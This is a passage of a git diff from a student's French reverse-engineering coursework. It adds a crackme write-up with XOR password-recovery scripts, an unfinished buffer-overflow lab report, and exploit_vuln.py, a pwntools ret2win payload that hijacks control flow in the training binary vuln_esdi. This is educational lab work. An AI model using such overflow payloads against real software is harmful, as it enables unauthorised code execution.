au caractère suivant + +On sait par la ligne `0x4011d3`, de par son commentaire, que la clef est dans l'adresse `0x402090`. + +Dont le contenu est tel : + +```c +0x402090: 0x71 0x2e 0x73 0x36 0x71 0x1d 0x10 0x71 +0x402098: 0x34 0x71 0x30 0x31 0x71 0x30 +``` + +## Retour au script + +Plutôt que "cracker" le mot de passe, on "traduit" juste ces valeurs avec le script quand on a fait le travail manuellement comme tantôt. + +## Script semi force-brute + +Dans le cas où le script doit tout faire, il doit trouver : + +1. La longueur du mot de passe attendue (14) +2. Les adresses/offset de 14 caractères +3. Les inscrire en base +4. Trouver l'endroit où le script renvoie un succès +5. Les tenter un par un jusqu'à validation en décodant l'adresse accédée au bon endroit + +Le script attaché fonctionne. Voici le résultat sur une machine Linux (essentiel, pour les binaires ELF) : + +```bash +┌──(kali㉿GAWIN)-[~/TP5] +└─$ uv run solve_crackme.py +[*] '/home/kali/TP5/crackme_esdi' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX unknown - GNU_STACK missing + PIE: No PIE (0x400000) + Stack: Executable + RWX: Has RWX segments +[*] Démarrage de la résolution automatique de ./crackme_esdi... +[+] 34 candidats potentiels identifiés. +[*] Validation dynamique des candidats via exécution... +[+] Crackme résolu : valeur = 3l1t3_R3v3rs3r +``` + +![alt text](image.png) \ No newline at end of file diff --git a/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.pdf b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..1799366 Binary files /dev/null and b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.zip b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.zip new file mode 100644 index 0000000..e0c8ed5 Binary files /dev/null and b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.zip differ diff --git a/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.md b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.md new file mode 100644 index 0000000..0befcdf --- /dev/null +++ b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.md @@ -0,0 +1,104 @@ +# TP6 - Florian POMPIDOU + +> Le binaire vuln_esdi a été découvert dans un audit de code. Le client suspecte un buffer overflow dans la fonction de parsing des arguments. Votre mission : confirmer la vulnérabilité, mesurer le décalage jusqu'au registre de retour, et produire un PoC Python qui détourne le flot d'exécution vers une fonction cachée (win()) présente dans le binaire. + +## Analyses basiques + +Formules basiques pour extraire la structure du fichier : + +```bash +$ sha256sum vuln_esdi +6cf9d82d8d0023add3f211d65169de28264ce845795d6c384ef53da613f3c48c vuln_esdi + +$ file vuln_esdi +vuln_esdi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ad96f823633c23654741962598e101b58be3bd09, for GNU/Linux 3.2.0, not stripped + +$ objdump -f vuln_esdi + +vuln_esdi: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000112: +EXEC_P, HAS_SYMS, D_PAGED +start address 0x0000000000401070 + +$ strings vuln_esdi +[...] +[+] Congratulations! You've redirected execution to win()! +[+] Flag: CTF{b0f_m4st3r} +[...] +``` + +## Mise en place d'un analyseur profond Python + +### Analyse GDB basique + +```bash +gdb ./vuln_esdi + +(gdb) info functions +All defined functions: + +Non-debugging symbols: +0x0000000000401000 _init +0x0000000000401030 puts@plt +0x0000000000401040 printf@plt +0x0000000000401050 gets@plt +0x0000000000401060 fflush@plt +0x0000000000401070 _start +0x00000000004010a0 _dl_relocate_static_pie +0x00000000004010b0 deregister_tm_clones +0x00000000004010e0 register_tm_clones +0x0000000000401120 __do_global_dtors_aux +0x0000000000401150 frame_dummy +0x0000000000401156 win +0x000000000040117b vulnerable +0x00000000004011d0 main +0x0000000000401204 _fini +(gdb) print win +$1 = {} 0x401156 +``` + +### Amorce de l'environnement + +En amorce du projet, déployer un environnement Python cloisonné : + +```bash +uv init +uv run main.py +uv run .venv/bin/activate_this.py + +uv add pwn +chmod +x vuln_esdi +``` + +### Script importé pour trouver le pattern disruptif + +```py +from pwn import * + +pattern = cyclic(200) + +p = process('./vuln_esdi') +print(pattern) +print(f"Le PATTERN a une longueur de {len(pattern)} caractères.") +p.sendline(pattern) +p.wait() +``` + +Dans GDB : + +```bash +(gdb) run < <(python3 -c "from pwn import *; print(cyclic(200))") +Starting program: /home/kali/TP6/vuln_esdi < <(python3 -c "from pwn import *; print(cyclic(200))") +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". +Welcome to SecureApp v1.0 +Enter your name: Hello, b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'! + +Program received signal SIGSEGV, Segmentation fault. +0x00000000004011cf in vulnerable () + +(gdb) !python3 -c "from pwn import *; print(cyclic_find(0x6174616161736161, n=8))" +63272450 +``` + +### ABANDON \ No newline at end of file diff --git a/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.pdf b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..6734d04 Binary files /dev/null and b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.zip b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.zip new file mode 100644 index 0000000..e4d7283 Binary files /dev/null and b/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.zip differ diff --git a/Semaine_10/Jour_03/crackme_esdi b/Semaine_10/Jour_03/crackme_esdi new file mode 100644 index 0000000..b3c0bd3 Binary files /dev/null and b/Semaine_10/Jour_03/crackme_esdi differ diff --git a/Semaine_10/Jour_03/exploit_vuln.py b/Semaine_10/Jour_03/exploit_vuln.py new file mode 100644 index 0000000..6e5fa8f --- /dev/null +++ b/Semaine_10/Jour_03/exploit_vuln.py @@ -0,0 +1,19 @@ +from pwn import * + +elf = ELF('./vuln_esdi') +win_addr = 0x401156 +offset = 272 +ret_addr = 0x401016 + +# Ajoute un argument fictif pour win() (ex: 0xdeadbeef) +fake_arg = 0xdeadbeef + +payload = b'A' * offset +payload += p64(ret_addr) # Alignement +payload += p64(win_addr) # Adresse de win() +payload += p64(fake_arg) # Argument pour win() + +p = process('./vuln_esdi') +p.recvuntil(b"Enter your name: ") +p.sendline(payload) +p.interactive() diff --git a/Semaine_10/Jour_03/image.png b/Semaine_10/Jour_03/image.png new file mode 100644 index 0000000..eaada3b Binary files /dev/null and b/Semaine_10/Jour_03/image.png differ diff --git a/Semaine_10/Jour_03/main.py b/Semaine_10/Jour_03/main.py new file mode 100644 index 0000000..75516b5 --- /dev/null +++ b/Semaine_10/Jour_03/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from jour-03!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_10/Jour_03/offset.py b/Semaine_10/Jour_03/offset.py new file mode 100644 index 0000000..de95740 --- /dev/null +++ b/Semaine_10/Jour_03/offset.py @@ -0,0 +1,9 @@ +from pwn import * + +pattern = cyclic(200) + +p = process('./vuln_esdi') +print(pattern) +print(f"Le PATTERN a une longueur de {len(pattern)} caractères.") +p.sendline(pattern) +p.wait() diff --git a/Semaine_10/Jour_03/pyproject.toml b/Semaine_10/Jour_03/pyproject.toml new file mode 100644 index 0000000..1cb2e9b --- /dev/null +++ b/Semaine_10/Jour_03/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "jour-03" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "pwn>=1.0", +] diff --git a/Semaine_10/Jour_03/solve_crackme.py b/Semaine_10/Jour_03/solve_crackme.py new file mode 100644 index 0000000..692f1ed --- /dev/null +++ b/Semaine_10/Jour_03/solve_crackme.py @@ -0,0 +1,77 @@ +### Ne marche que sur LINUX, puisque dépendant de ELF. + +import subprocess +import sys +import string +from pwn import context, ELF + +context.binary = './crackme_esdi' + +def auto_extract_candidates(binary_path): + """ + Analyse le binaire et extrait TOUTES les suites d'octets qui, + après un XOR 0x42, donnent une chaîne imprimable de 14 caractères. + """ + candidates = [] + try: + elf = ELF(binary_path, checksec=False) + rodata = elf.get_section_by_name('.rodata') + data_bytes = rodata.data() + except Exception: + with open(binary_path, 'rb') as f: + data_bytes = f.read() + + password_length = 14 + xor_key = 0x42 + printable_charset = set(string.printable.encode('ascii')) + + # Correction du Off-By-One : ajout du + 1 pour inclure le dernier bloc du fichier + for i in range(len(data_bytes) - password_length + 1): + window = data_bytes[i : i + password_length] + candidate_bytes = bytes(b ^ xor_key for b in window) + + # Validation des caractères ASCII lisibles + if all(b in printable_charset and 32 <= b <= 126 for b in candidate_bytes): + try: + candidate_str = candidate_bytes.decode('ascii').strip() + if len(candidate_str) == password_length: + candidates.append(candidate_str) + except UnicodeDecodeError: + continue + + return list(set(candidates)) + +def verify_and_run(binary_path, password): + """ + Exécute le binaire avec la valeur trouvée et valide la sortie. + """ + result = subprocess.run( + [binary_path, password], + capture_output=True, + text=True + ) + + output = result.stdout + result.stderr + + if "Incorrect length" not in output and "Checksum failed" not in output: + return True + return False + +def main(): + binary_path = './crackme_esdi' + print(f"[*] Démarrage de la résolution automatique de {binary_path}...") + + candidates = auto_extract_candidates(binary_path) + print(f"[+] {len(candidates)} candidats potentiels identifiés.") + + print("[*] Validation dynamique des candidats via exécution...") + for candidate in candidates: + if verify_and_run(binary_path, candidate): + print(f"[+] Crackme résolu : valeur = {candidate}") + sys.exit(0) + + print("[-] Échec : Aucun candidat n'a réussi à déverrouiller le binaire.") + sys.exit(1) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Semaine_10/Jour_03/solve_crackme_MANUAL.py b/Semaine_10/Jour_03/solve_crackme_MANUAL.py new file mode 100644 index 0000000..90cfd04 --- /dev/null +++ b/Semaine_10/Jour_03/solve_crackme_MANUAL.py @@ -0,0 +1,28 @@ +import sys + +def solve(): + binary_path = './crackme_esdi' + + # L'adresse virtuelle 0x402090 dans un binaire sans PIE (base 0x400000) + # correspond à l'offset fichier 0x2090 + file_offset = 0x2090 + password_length = 14 + xor_key = 0x42 + + try: + with open(binary_path, 'rb') as f: + f.seek(file_offset) + encrypted_bytes = f.read(password_length) + + # Application du XOR inverse pour casser le chiffrement + password = "".join(chr(b ^ xor_key) for b in encrypted_bytes) + + print(f"[+] Crackme résolu : valeur = {password}") + + except FileNotFoundError: + print(f"[-] Erreur : Le fichier {binary_path} est introuvable.") + except Exception as e: + print(f"[-] Une erreur est survenue : {e}") + +if __name__ == '__main__': + solve() \ No newline at end of file diff --git a/Semaine_10/Jour_03/uv.lock b/Semaine_10/Jour_03/uv.lock new file mode 100644 index 0000000..17a1693 --- /dev/null +++ b/Semaine_10/Jour_03/uv.lock @@ -0,0 +1,790 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "bcrypt" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/36/3329e2518d70ad8e2e5817d5a4cac6bba05a47767ec416c7d020a965f408/bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd", size = 25386, upload-time = "2025-09-25T19:50:47.829Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/85/3e65e01985fddf25b64ca67275bb5bdb4040bd1a53b66d355c6c37c8a680/bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be", size = 481806, upload-time = "2025-09-25T19:49:05.102Z" }, + { url = "https://files.pythonhosted.org/packages/44/dc/01eb79f12b177017a726cbf78330eb0eb442fae0e7b3dfd84ea2849552f3/bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2", size = 268626, upload-time = "2025-09-25T19:49:06.723Z" }, + { url = "https://files.pythonhosted.org/packages/8c/cf/e82388ad5959c40d6afd94fb4743cc077129d45b952d46bdc3180310e2df/bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f", size = 271853, upload-time = "2025-09-25T19:49:08.028Z" }, + { url = "https://files.pythonhosted.org/packages/ec/86/7134b9dae7cf0efa85671651341f6afa695857fae172615e960fb6a466fa/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86", size = 269793, upload-time = "2025-09-25T19:49:09.727Z" }, + { url = "https://files.pythonhosted.org/packages/cc/82/6296688ac1b9e503d034e7d0614d56e80c5d1a08402ff856a4549cb59207/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23", size = 289930, upload-time = "2025-09-25T19:49:11.204Z" }, + { url = "https://files.pythonhosted.org/packages/d1/18/884a44aa47f2a3b88dd09bc05a1e40b57878ecd111d17e5bba6f09f8bb77/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2", size = 272194, upload-time = "2025-09-25T19:49:12.524Z" }, + { url = "https://files.pythonhosted.org/packages/0e/8f/371a3ab33c6982070b674f1788e05b656cfbf5685894acbfef0c65483a59/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83", size = 269381, upload-time = "2025-09-25T19:49:14.308Z" }, + { url = "https://files.pythonhosted.org/packages/b1/34/7e4e6abb7a8778db6422e88b1f06eb07c47682313997ee8a8f9352e5a6f1/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746", size = 271750, upload-time = "2025-09-25T19:49:15.584Z" }, + { url = "https://files.pythonhosted.org/packages/c0/1b/54f416be2499bd72123c70d98d36c6cd61a4e33d9b89562c22481c81bb30/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e", size = 303757, upload-time = "2025-09-25T19:49:17.244Z" }, + { url = "https://files.pythonhosted.org/packages/13/62/062c24c7bcf9d2826a1a843d0d605c65a755bc98002923d01fd61270705a/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d", size = 306740, upload-time = "2025-09-25T19:49:18.693Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/1fdbfc8c0f20875b6b4020f3c7dc447b8de60aa0be5faaf009d24242aec9/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba", size = 334197, upload-time = "2025-09-25T19:49:20.523Z" }, + { url = "https://files.pythonhosted.org/packages/a6/c1/8b84545382d75bef226fbc6588af0f7b7d095f7cd6a670b42a86243183cd/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41", size = 352974, upload-time = "2025-09-25T19:49:22.254Z" }, + { url = "https://files.pythonhosted.org/packages/10/a6/ffb49d4254ed085e62e3e5dd05982b4393e32fe1e49bb1130186617c29cd/bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861", size = 148498, upload-time = "2025-09-25T19:49:24.134Z" }, + { url = "https://files.pythonhosted.org/packages/48/a9/259559edc85258b6d5fc5471a62a3299a6aa37a6611a169756bf4689323c/bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e", size = 145853, upload-time = "2025-09-25T19:49:25.702Z" }, + { url = "https://files.pythonhosted.org/packages/2d/df/9714173403c7e8b245acf8e4be8876aac64a209d1b392af457c79e60492e/bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5", size = 139626, upload-time = "2025-09-25T19:49:26.928Z" }, + { url = "https://files.pythonhosted.org/packages/f8/14/c18006f91816606a4abe294ccc5d1e6f0e42304df5a33710e9e8e95416e1/bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef", size = 481862, upload-time = "2025-09-25T19:49:28.365Z" }, + { url = "https://files.pythonhosted.org/packages/67/49/dd074d831f00e589537e07a0725cf0e220d1f0d5d8e85ad5bbff251c45aa/bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4", size = 268544, upload-time = "2025-09-25T19:49:30.39Z" }, + { url = "https://files.pythonhosted.org/packages/f5/91/50ccba088b8c474545b034a1424d05195d9fcbaaf802ab8bfe2be5a4e0d7/bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf", size = 271787, upload-time = "2025-09-25T19:49:32.144Z" }, + { url = "https://files.pythonhosted.org/packages/aa/e7/d7dba133e02abcda3b52087a7eea8c0d4f64d3e593b4fffc10c31b7061f3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da", size = 269753, upload-time = "2025-09-25T19:49:33.885Z" }, + { url = "https://files.pythonhosted.org/packages/33/fc/5b145673c4b8d01018307b5c2c1fc87a6f5a436f0ad56607aee389de8ee3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9", size = 289587, upload-time = "2025-09-25T19:49:35.144Z" }, + { url = "https://files.pythonhosted.org/packages/27/d7/1ff22703ec6d4f90e62f1a5654b8867ef96bafb8e8102c2288333e1a6ca6/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f", size = 272178, upload-time = "2025-09-25T19:49:36.793Z" }, + { url = "https://files.pythonhosted.org/packages/c8/88/815b6d558a1e4d40ece04a2f84865b0fef233513bd85fd0e40c294272d62/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493", size = 269295, upload-time = "2025-09-25T19:49:38.164Z" }, + { url = "https://files.pythonhosted.org/packages/51/8c/e0db387c79ab4931fc89827d37608c31cc57b6edc08ccd2386139028dc0d/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b", size = 271700, upload-time = "2025-09-25T19:49:39.917Z" }, + { url = "https://files.pythonhosted.org/packages/06/83/1570edddd150f572dbe9fc00f6203a89fc7d4226821f67328a85c330f239/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c", size = 334034, upload-time = "2025-09-25T19:49:41.227Z" }, + { url = "https://files.pythonhosted.org/packages/c9/f2/ea64e51a65e56ae7a8a4ec236c2bfbdd4b23008abd50ac33fbb2d1d15424/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4", size = 352766, upload-time = "2025-09-25T19:49:43.08Z" }, + { url = "https://files.pythonhosted.org/packages/d7/d4/1a388d21ee66876f27d1a1f41287897d0c0f1712ef97d395d708ba93004c/bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e", size = 152449, upload-time = "2025-09-25T19:49:44.971Z" }, + { url = "https://files.pythonhosted.org/packages/3f/61/3291c2243ae0229e5bca5d19f4032cecad5dfb05a2557169d3a69dc0ba91/bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d", size = 149310, upload-time = "2025-09-25T19:49:46.162Z" }, + { url = "https://files.pythonhosted.org/packages/3e/89/4b01c52ae0c1a681d4021e5dd3e45b111a8fb47254a274fa9a378d8d834b/bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993", size = 143761, upload-time = "2025-09-25T19:49:47.345Z" }, + { url = "https://files.pythonhosted.org/packages/84/29/6237f151fbfe295fe3e074ecc6d44228faa1e842a81f6d34a02937ee1736/bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b", size = 494553, upload-time = "2025-09-25T19:49:49.006Z" }, + { url = "https://files.pythonhosted.org/packages/45/b6/4c1205dde5e464ea3bd88e8742e19f899c16fa8916fb8510a851fae985b5/bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb", size = 275009, upload-time = "2025-09-25T19:49:50.581Z" }, + { url = "https://files.pythonhosted.org/packages/3b/71/427945e6ead72ccffe77894b2655b695ccf14ae1866cd977e185d606dd2f/bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef", size = 278029, upload-time = "2025-09-25T19:49:52.533Z" }, + { url = "https://files.pythonhosted.org/packages/17/72/c344825e3b83c5389a369c8a8e58ffe1480b8a699f46c127c34580c4666b/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd", size = 275907, upload-time = "2025-09-25T19:49:54.709Z" }, + { url = "https://files.pythonhosted.org/packages/0b/7e/d4e47d2df1641a36d1212e5c0514f5291e1a956a7749f1e595c07a972038/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd", size = 296500, upload-time = "2025-09-25T19:49:56.013Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c3/0ae57a68be2039287ec28bc463b82e4b8dc23f9d12c0be331f4782e19108/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464", size = 278412, upload-time = "2025-09-25T19:49:57.356Z" }, + { url = "https://files.pythonhosted.org/packages/45/2b/77424511adb11e6a99e3a00dcc7745034bee89036ad7d7e255a7e47be7d8/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75", size = 275486, upload-time = "2025-09-25T19:49:59.116Z" }, + { url = "https://files.pythonhosted.org/packages/43/0a/405c753f6158e0f3f14b00b462d8bca31296f7ecfc8fc8bc7919c0c7d73a/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff", size = 277940, upload-time = "2025-09-25T19:50:00.869Z" }, + { url = "https://files.pythonhosted.org/packages/62/83/b3efc285d4aadc1fa83db385ec64dcfa1707e890eb42f03b127d66ac1b7b/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4", size = 310776, upload-time = "2025-09-25T19:50:02.393Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/47ee337dacecde6d234890fe929936cb03ebc4c3a7460854bbd9c97780b8/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb", size = 312922, upload-time = "2025-09-25T19:50:04.232Z" }, + { url = "https://files.pythonhosted.org/packages/d6/3a/43d494dfb728f55f4e1cf8fd435d50c16a2d75493225b54c8d06122523c6/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c", size = 341367, upload-time = "2025-09-25T19:50:05.559Z" }, + { url = "https://files.pythonhosted.org/packages/55/ab/a0727a4547e383e2e22a630e0f908113db37904f58719dc48d4622139b5c/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb", size = 359187, upload-time = "2025-09-25T19:50:06.916Z" }, + { url = "https://files.pythonhosted.org/packages/1b/bb/461f352fdca663524b4643d8b09e8435b4990f17fbf4fea6bc2a90aa0cc7/bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538", size = 153752, upload-time = "2025-09-25T19:50:08.515Z" }, + { url = "https://files.pythonhosted.org/packages/41/aa/4190e60921927b7056820291f56fc57d00d04757c8b316b2d3c0d1d6da2c/bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9", size = 150881, upload-time = "2025-09-25T19:50:09.742Z" }, + { url = "https://files.pythonhosted.org/packages/54/12/cd77221719d0b39ac0b55dbd39358db1cd1246e0282e104366ebbfb8266a/bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980", size = 144931, upload-time = "2025-09-25T19:50:11.016Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ba/2af136406e1c3839aea9ecadc2f6be2bcd1eff255bd451dd39bcf302c47a/bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a", size = 495313, upload-time = "2025-09-25T19:50:12.309Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ee/2f4985dbad090ace5ad1f7dd8ff94477fe089b5fab2040bd784a3d5f187b/bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191", size = 275290, upload-time = "2025-09-25T19:50:13.673Z" }, + { url = "https://files.pythonhosted.org/packages/e4/6e/b77ade812672d15cf50842e167eead80ac3514f3beacac8902915417f8b7/bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254", size = 278253, upload-time = "2025-09-25T19:50:15.089Z" }, + { url = "https://files.pythonhosted.org/packages/36/c4/ed00ed32f1040f7990dac7115f82273e3c03da1e1a1587a778d8cea496d8/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db", size = 276084, upload-time = "2025-09-25T19:50:16.699Z" }, + { url = "https://files.pythonhosted.org/packages/e7/c4/fa6e16145e145e87f1fa351bbd54b429354fd72145cd3d4e0c5157cf4c70/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac", size = 297185, upload-time = "2025-09-25T19:50:18.525Z" }, + { url = "https://files.pythonhosted.org/packages/24/b4/11f8a31d8b67cca3371e046db49baa7c0594d71eb40ac8121e2fc0888db0/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822", size = 278656, upload-time = 